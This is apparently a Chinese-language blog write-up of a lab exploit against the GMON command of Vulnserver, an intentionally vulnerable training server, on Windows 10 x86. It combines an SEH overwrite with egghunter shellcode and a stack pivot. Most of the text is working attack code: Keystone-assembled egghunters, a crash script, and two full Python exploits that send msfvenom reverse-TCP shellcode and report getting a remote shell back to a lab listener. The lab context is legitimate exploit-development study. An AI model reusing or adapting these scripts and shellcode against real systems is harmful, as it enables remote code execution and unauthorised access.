Technical Memorandum
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Vulnserver GMON Exploit with SEH Again

发表于 更新于 分类于 Valine：

本次实验讨论在Win10 21h2 x86系统下关闭DEP，利用SEH+egghunter完成。

FUZZ、OFFSET、坏字符确定可以参考之前分析的文章，这里直接进入egghunter技术的使用。

首先，需要确定在Win10 21h1 x86系统下egghunter代码中的函数调用号，以AccessCheckAndAuditAlarm为例，mona生成的egghunter payload使用的是AccessCheckAndAuditAlarm函数。

来看一下本机AccessCheckAndAuditAlarm的函数调用号：

seh

可以看到系统调用号1C8h。

来看一下DisplayString的系统调用号：

seh

可以看到系统调用号143h。

来看一下mona生成egghunter payload的命令：

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!py mona.py egg -t w00t -cpb \x00

seh

注意看，egghunter payload 是32bytes，但是最后输出前面增加了\xcc，这里不用管它，真正用到的时候去掉它即可。这里生成的是AccessCheckAndAuditAlarm函数的egghunter payload，系统调用号不对。

换一种方式生成egghunter。看一下代码：

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from keystone import *

CODE = (
		# We use the edx register as a memory page counter
"							 " 
"	loop_inc_page:			 "
		# Go to the last address in the memory page
"		or dx, 0x0fff		;" 
"	loop_inc_one:			 "
		# Increase the memory counter by one
"		inc edx				;"
"	loop_check:				 "
		# Save the edx register which holds our memory 
		# address on the stack
"		push edx			;"
		# Push the system call number win10 NtAccessCheckAndAuditAlarm 0x1c8h
"		push 0x1c8 			;" 
		# Initialize the call to NtAccessCheckAndAuditAlarm
"		pop eax				;" 
		# Perform the system call
"		int 0x2e			;" 
		# Check for access violation, 0xc0000005 
		# (ACCESS_VIOLATION)
"		cmp al,05			;" 
		# Restore the edx register to check later 
		# for our egg
"		pop edx				;" 
"	loop_check_valid:		 "
		# If access violation encountered, go to n
		# ext page
"		je loop_inc_page	;" 
"	is_egg:					 "
		# Load egg (w00t in this example) into 
		# the eax register
"		mov eax, 0x74303077	;" 
		# Initializes pointer with current checked 
		# address 
"		mov edi, edx		;" 
		# Compare eax with doubleword at edi and 
		# set status flags
"		scasd				;" 
		# No match, we will increase our memory 
		# counter by one
"		jnz loop_inc_one	;" 
		# First part of the egg detected, check for 
		# the second part
"		scasd				;" 
		# No match, we found just a location 
		# with half an egg
"		jnz loop_inc_one	;" 
"	matched:				 "
		# The edi register points to the first 
		# byte of our buffer, we can jump to it
"		jmp edi				;" 
)

# Initialize engine in 32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
egghunter = ""
for dec in encoding: 
  egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n")
  
print("egghunter = (\"" + egghunter + "\")")

得到的egghunter payload如下所示：

seh

注意看，其中包含截断字符。进一步验证\x00生成自下列汇编指令：

seh

这里有个小技巧可以规避这种问题的出现，先来看一下：

seh

所以之前的push 0x1c8;pop eax可以转换成等价的两条指令：

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mov eax,0xfffffe38
neg eax

来看一下新的egghunter payload：

seh

在前一篇文章中，发现栈空间最后部分空间不足，但是没有计算具体的数目。这里结合mona来确定具体的数字。

先发送让程序崩溃的程序，注意里面使用了msf-pattern-create生成的5000字节的随机字符串，方便后续mona进行确认。

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import socket

HOST = '192.168.13.201'
PORT = 9999

PAYLOAD = (
    b'GMON /.:/' +
    b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

来看一下mona自动识别的结果：

seh

注意标红的部分，最后剩余的空间为44bytes，因为生成的egghunter只有36bytes，再加4个\x90，最终40bytes，可以放在这个区域。

现在来看最后的利用代码：

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import socket

HOST = '192.168.13.201'
PORT = 9999

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"

shellcode =  b"w00tw00t"
shellcode += b"\xd9\xe9\xbd\x7c\xf8\xfd\xa2\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x17\x03\x68\x17"
shellcode += b"\x83\x94\x04\x1f\x57\x98\x1d\x62\x98\x60\xde"
shellcode += b"\x03\x10\x85\xef\x03\x46\xce\x40\xb4\x0c\x82"
shellcode += b"\x6c\x3f\x40\x36\xe6\x4d\x4d\x39\x4f\xfb\xab"
shellcode += b"\x74\x50\x50\x8f\x17\xd2\xab\xdc\xf7\xeb\x63"
shellcode += b"\x11\xf6\x2c\x99\xd8\xaa\xe5\xd5\x4f\x5a\x81"
shellcode += b"\xa0\x53\xd1\xd9\x25\xd4\x06\xa9\x44\xf5\x99"
shellcode += b"\xa1\x1e\xd5\x18\x65\x2b\x5c\x02\x6a\x16\x16"
shellcode += b"\xb9\x58\xec\xa9\x6b\x91\x0d\x05\x52\x1d\xfc"
shellcode += b"\x57\x93\x9a\x1f\x22\xed\xd8\xa2\x35\x2a\xa2"
shellcode += b"\x78\xb3\xa8\x04\x0a\x63\x14\xb4\xdf\xf2\xdf"
shellcode += b"\xba\x94\x71\x87\xde\x2b\x55\xbc\xdb\xa0\x58"
shellcode += b"\x12\x6a\xf2\x7e\xb6\x36\xa0\x1f\xef\x92\x07"
shellcode += b"\x1f\xef\x7c\xf7\x85\x64\x90\xec\xb7\x27\xfd"
shellcode += b"\xc1\xf5\xd7\xfd\x4d\x8d\xa4\xcf\xd2\x25\x22"
shellcode += b"\x7c\x9a\xe3\xb5\x83\xb1\x54\x29\x7a\x3a\xa5"
shellcode += b"\x60\xb9\x6e\xf5\x1a\x68\x0f\x9e\xda\x95\xda"
shellcode += b"\x31\x8a\x39\xb5\xf1\x7a\xfa\x65\x9a\x90\xf5"
shellcode += b"\x5a\xba\x9b\xdf\xf2\x51\x66\x88\x3c\x0d\x65"
shellcode += b"\xc1\xd5\x4c\x75\xc0\x79\xd8\x93\x88\x91\x8c"
shellcode += b"\x0c\x25\x0b\x95\xc6\xd4\xd4\x03\xa3\xd7\x5f"
shellcode += b"\xa0\x54\x99\x97\xcd\x46\x4e\x58\x98\x34\xd9"
shellcode += b"\x67\x36\x50\x85\xfa\xdd\xa0\xc0\xe6\x49\xf7"
shellcode += b"\x85\xd9\x83\x9d\x3b\x43\x3a\x83\xc1\x15\x05"
shellcode += b"\x07\x1e\xe6\x88\x86\xd3\x52\xaf\x98\x2d\x5a"
shellcode += b"\xeb\xcc\xe1\x0d\xa5\xba\x47\xe4\x07\x14\x1e"
shellcode += b"\x5b\xce\xf0\xe7\x97\xd1\x86\xe7\xfd\xa7\x66"
shellcode += b"\x59\xa8\xf1\x99\x56\x3c\xf6\xe2\x8a\xdc\xf9"
shellcode += b"\x39\x0f\xfc\x1b\xeb\x7a\x95\x85\x7e\xc7\xf8"
shellcode += b"\x35\x55\x04\x05\xb6\x5f\xf5\xf2\xa6\x2a\xf0"
shellcode += b"\xbf\x60\xc7\x88\xd0\x04\xe7\x3f\xd0\x0c"




junk = b"A"*(3547-len(shellcode))
nseh = b"\xeb\x06\x90\x90" #jump 8 bytes
# nseh = b"\xcc\xcc\xcc\xcc"
seh = b"\xb4\x10\x50\x62"  #0x625010b4
nops = b"\x90"*4
others = b"C"*(5000-3547-4-4-len(egghunter)-4)
PAYLOAD = (
    b'GMON /.:/' +
    junk +
    shellcode+
    nseh +
    seh +
    nops +
    egghunter +
    others
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

成功反弹shell：

seh

生成egghunter payload的时候，还有一种基于SEH生成egghunter payload的方法，不需要去纠正AccessCheckAndAuditAlarm的系统调用号，seh egghunter会自动处理。代码如下：

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from keystone import *

CODE = (
"	start: 									 "
		# jump to a negative call to dynamically 
		# obtain egghunter position
"		jmp get_seh_address 				;" 
"	build_exception_record: 				 "
		# pop the address of the exception_handler 
		# into ecx
"		pop ecx 							;" 
		# mov signature into eax
"		mov eax, 0x74303077 				;" 
		# push Handler of the 
		# _EXCEPTION_REGISTRATION_RECORD structure
"		push ecx 							;" 
		# push Next of the 
		# _EXCEPTION_REGISTRATION_RECORD structure
"		push 0xffffffff 					;" 
		# null out ebx
"		xor ebx, ebx 						;" 
		# overwrite ExceptionList in the TEB with a pointer
		# to our new _EXCEPTION_REGISTRATION_RECORD structure
"		mov dword ptr fs:[ebx], esp 		;" 
"   sub ecx, 0x04          ;"
"   add ebx, 0x04          ;"
"   mov dword ptr fs:[ebx], ecx     ;"
"	is_egg: 								 "
		# push 0x02
"		push 0x02 							;" 
		# pop the value into ecx which will act 
		# as a counter
"		pop ecx 							;" 
		# mov memory address into edi
"		mov edi, ebx 						;" 
		# check for our signature, if the page is invalid we 
		# trigger an exception and jump to our exception_handler function
"		repe scasd 							;" 
		# if we didn't find signature, increase ebx 
		# and repeat
"		jnz loop_inc_one 					;"  
		# we found our signature and will jump to it
"		jmp edi 							;" 
"	loop_inc_page: 							 " 
		# if page is invalid the exception_handler will 
		# update eip to point here and we move to next page
"		or bx, 0xfff 						;" 
"	loop_inc_one: 							 "
		# increase ebx by one byte
"		inc ebx 							;" 
		# check for signature again
"		jmp is_egg 							;" 
"	get_seh_address: 						 "
		# call to a higher address to avoid null bytes & push 
		# return to obtain egghunter position
"		call build_exception_record 		;" 
		# push 0x0c onto the stack
"		push 0x0c 							;" 
		# pop the value into ecx
"		pop ecx 							;" 
		# mov into eax the pointer to the CONTEXT 
		# structure for our exception
"		mov eax, [esp+ecx] 					;" 
		# mov 0xb8 into ecx which will act as an 
		# offset to the eip
"		mov cl, 0xb8						;" 
		# increase the value of eip by 0x06 in our CONTEXT 
		# so it points to the "or bx, 0xfff" instruction 
		# to increase the memory page
"		add dword ptr ds:[eax+ecx], 0x06	;" 
		# save return value into eax
"		pop eax 							;" 
		# increase esp to clean the stack for our call
"		add esp, 0x10 						;" 
		# push return value back into the stack
"		push eax 							;" 
		# null out eax to simulate 
		# ExceptionContinueExecution return
"		xor eax, eax 						;" 
		# return
"		ret 								;" 
)

# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

egghunter = ""
for dec in encoding: 
  egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n") 
print("egghunter = (\"" + egghunter + "\")")

看一下生成的egghunter seh payload：

seh

这里生成的payload长度比42bytes要长，所以payload不能放在最后。这就变成了和之前stack pivot类似了，只要用stack pivot技术找到egghunter payload即可。

最终的利用代码如下：

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import socket

HOST = '192.168.13.204'
PORT = 9999

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

egghunter = b"\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"

shellcode =  b"w00tw00t"
shellcode += b"\xd9\xe9\xbd\x7c\xf8\xfd\xa2\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x17\x03\x68\x17"
shellcode += b"\x83\x94\x04\x1f\x57\x98\x1d\x62\x98\x60\xde"
shellcode += b"\x03\x10\x85\xef\x03\x46\xce\x40\xb4\x0c\x82"
shellcode += b"\x6c\x3f\x40\x36\xe6\x4d\x4d\x39\x4f\xfb\xab"
shellcode += b"\x74\x50\x50\x8f\x17\xd2\xab\xdc\xf7\xeb\x63"
shellcode += b"\x11\xf6\x2c\x99\xd8\xaa\xe5\xd5\x4f\x5a\x81"
shellcode += b"\xa0\x53\xd1\xd9\x25\xd4\x06\xa9\x44\xf5\x99"
shellcode += b"\xa1\x1e\xd5\x18\x65\x2b\x5c\x02\x6a\x16\x16"
shellcode += b"\xb9\x58\xec\xa9\x6b\x91\x0d\x05\x52\x1d\xfc"
shellcode += b"\x57\x93\x9a\x1f\x22\xed\xd8\xa2\x35\x2a\xa2"
shellcode += b"\x78\xb3\xa8\x04\x0a\x63\x14\xb4\xdf\xf2\xdf"
shellcode += b"\xba\x94\x71\x87\xde\x2b\x55\xbc\xdb\xa0\x58"
shellcode += b"\x12\x6a\xf2\x7e\xb6\x36\xa0\x1f\xef\x92\x07"
shellcode += b"\x1f\xef\x7c\xf7\x85\x64\x90\xec\xb7\x27\xfd"
shellcode += b"\xc1\xf5\xd7\xfd\x4d\x8d\xa4\xcf\xd2\x25\x22"
shellcode += b"\x7c\x9a\xe3\xb5\x83\xb1\x54\x29\x7a\x3a\xa5"
shellcode += b"\x60\xb9\x6e\xf5\x1a\x68\x0f\x9e\xda\x95\xda"
shellcode += b"\x31\x8a\x39\xb5\xf1\x7a\xfa\x65\x9a\x90\xf5"
shellcode += b"\x5a\xba\x9b\xdf\xf2\x51\x66\x88\x3c\x0d\x65"
shellcode += b"\xc1\xd5\x4c\x75\xc0\x79\xd8\x93\x88\x91\x8c"
shellcode += b"\x0c\x25\x0b\x95\xc6\xd4\xd4\x03\xa3\xd7\x5f"
shellcode += b"\xa0\x54\x99\x97\xcd\x46\x4e\x58\x98\x34\xd9"
shellcode += b"\x67\x36\x50\x85\xfa\xdd\xa0\xc0\xe6\x49\xf7"
shellcode += b"\x85\xd9\x83\x9d\x3b\x43\x3a\x83\xc1\x15\x05"
shellcode += b"\x07\x1e\xe6\x88\x86\xd3\x52\xaf\x98\x2d\x5a"
shellcode += b"\xeb\xcc\xe1\x0d\xa5\xba\x47\xe4\x07\x14\x1e"
shellcode += b"\x5b\xce\xf0\xe7\x97\xd1\x86\xe7\xfd\xa7\x66"
shellcode += b"\x59\xa8\xf1\x99\x56\x3c\xf6\xe2\x8a\xdc\xf9"
shellcode += b"\x39\x0f\xfc\x1b\xeb\x7a\x95\x85\x7e\xc7\xf8"
shellcode += b"\x35\x55\x04\x05\xb6\x5f\xf5\xf2\xa6\x2a\xf0"
shellcode += b"\xbf\x60\xc7\x88\xd0\x04\xe7\x3f\xd0\x0c"




junk = b"A"*(3547-len(shellcode)-len(egghunter)-32-32)
nseh = b"\xeb\x06\x90\x90" #jump 8 bytes
# nseh = b"\xcc\xcc\xcc\xcc"
seh = b"\xb4\x10\x50\x62"  #0x625010b4
nops = b"\x90"*32
stage = b'\x66\x81\xC4\x54\x11' # add sp,0x1154
stage += b'\xff\xe4' # jmp,esp
others = b"C"*(5000-3547-4-4-len(egghunter)-len(stage))
PAYLOAD = (
    b'GMON /.:/' +
    junk +
    nops +
    egghunter +
    nops +
    shellcode+
    nseh +
    seh +
    stage + 
    others
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

上面的代码在ESP跳转的时候，add esp,0x1174生成的机器码存在00会被截断，有个小技巧，可以使用add sp,0x1174代码，这样生成的机器码不会有00，如下所示：

seh

利用stack pivot结合egghunter seh最终的利用比较稳定，能够成功反弹shell，不像之前那篇stack pivot方法容易出幺蛾子。

成功反弹shell如下：

seh

参考：

1.https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

2.https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/